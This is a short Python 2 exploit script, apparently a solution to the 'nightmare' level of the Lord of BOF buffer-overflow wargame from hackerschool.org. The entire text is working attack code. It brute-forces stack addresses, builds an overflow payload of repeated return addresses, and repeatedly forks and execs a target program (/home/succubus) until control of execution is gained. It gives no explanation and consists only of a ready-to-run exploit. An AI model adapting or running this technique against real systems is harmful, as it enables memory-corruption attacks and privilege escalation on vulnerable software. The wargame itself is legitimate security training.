hackerschool.org_LOB_nightmare

#!/usr/bin/env python
import os
import struct
for x in xrange(0xbfffe700, 0xbfffe800):
    attack = ''
    attack = attack + '\x10\x84\x04\x08'*13
    attack = attack + struct.pack('<L', x)
    attack = attack + '\xf7\xff\xff\xbf'
    pid = os.fork()
    if pid == 0:
        os.execlp(struct.pack('<L', 0xbffffb3c), "/home/succubus", attack)
    else:
        os.waitpid(pid, 0)